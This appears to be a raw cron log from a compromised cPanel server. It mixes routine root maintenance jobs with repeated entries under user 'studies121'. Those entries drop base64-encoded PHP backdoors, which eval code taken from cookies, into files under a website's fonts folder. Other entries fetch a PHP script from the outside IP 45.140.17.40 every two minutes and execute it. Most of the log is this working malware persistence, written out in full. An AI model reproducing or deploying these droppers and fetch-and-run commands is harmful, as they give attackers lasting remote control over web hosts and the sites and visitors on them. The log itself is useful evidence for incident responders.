Sep  7 14:04:01 ip-184-168-122-23 CROND[8052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:04:01 ip-184-168-122-23 CROND[8054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:04:01 ip-184-168-122-23 CROND[8053]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:04:01 ip-184-168-122-23 CROND[8055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:05:02 ip-184-168-122-23 CROND[8177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:05:02 ip-184-168-122-23 CROND[8180]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:05:02 ip-184-168-122-23 CROND[8178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:05:02 ip-184-168-122-23 CROND[8181]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 14:05:02 ip-184-168-122-23 CROND[8182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:05:02 ip-184-168-122-23 CROND[8183]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:05:02 ip-184-168-122-23 CROND[8179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:06:01 ip-184-168-122-23 CROND[8479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:06:01 ip-184-168-122-23 CROND[8481]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:06:01 ip-184-168-122-23 CROND[8480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:06:01 ip-184-168-122-23 CROND[8483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:06:01 ip-184-168-122-23 CROND[8484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:07:01 ip-184-168-122-23 CROND[8587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:07:01 ip-184-168-122-23 CROND[8588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:07:01 ip-184-168-122-23 CROND[8590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:07:01 ip-184-168-122-23 CROND[8589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:08:01 ip-184-168-122-23 CROND[8690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:08:01 ip-184-168-122-23 CROND[8692]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:08:01 ip-184-168-122-23 CROND[8691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:08:01 ip-184-168-122-23 CROND[8697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:08:01 ip-184-168-122-23 CROND[8699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:09:01 ip-184-168-122-23 CROND[8865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:09:01 ip-184-168-122-23 CROND[8866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:09:01 ip-184-168-122-23 CROND[8868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:09:01 ip-184-168-122-23 CROND[8867]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 14:09:01 ip-184-168-122-23 CROND[8870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:10:01 ip-184-168-122-23 CROND[8962]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:10:01 ip-184-168-122-23 CROND[8959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:10:01 ip-184-168-122-23 CROND[8961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:10:01 ip-184-168-122-23 CROND[8965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:10:01 ip-184-168-122-23 CROND[8966]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:10:01 ip-184-168-122-23 CROND[8960]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 14:10:01 ip-184-168-122-23 CROND[8963]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:10:01 ip-184-168-122-23 CROND[8964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:11:01 ip-184-168-122-23 CROND[9144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:11:01 ip-184-168-122-23 CROND[9145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:11:01 ip-184-168-122-23 CROND[9143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:11:01 ip-184-168-122-23 CROND[9146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:12:01 ip-184-168-122-23 CROND[9240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:12:01 ip-184-168-122-23 CROND[9242]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:12:01 ip-184-168-122-23 CROND[9243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:12:01 ip-184-168-122-23 CROND[9244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:12:01 ip-184-168-122-23 CROND[9245]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:13:01 ip-184-168-122-23 CROND[9333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:13:01 ip-184-168-122-23 CROND[9335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:13:01 ip-184-168-122-23 CROND[9336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:13:01 ip-184-168-122-23 CROND[9334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:14:01 ip-184-168-122-23 CROND[9444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:14:01 ip-184-168-122-23 CROND[9448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:14:01 ip-184-168-122-23 CROND[9446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:14:01 ip-184-168-122-23 CROND[9447]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:14:01 ip-184-168-122-23 CROND[9449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:15:01 ip-184-168-122-23 CROND[9563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:15:01 ip-184-168-122-23 CROND[9562]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:15:01 ip-184-168-122-23 CROND[9566]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:15:01 ip-184-168-122-23 CROND[9564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:15:01 ip-184-168-122-23 CROND[9568]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:15:01 ip-184-168-122-23 CROND[9567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:15:01 ip-184-168-122-23 CROND[9565]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 14:16:02 ip-184-168-122-23 CROND[9672]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
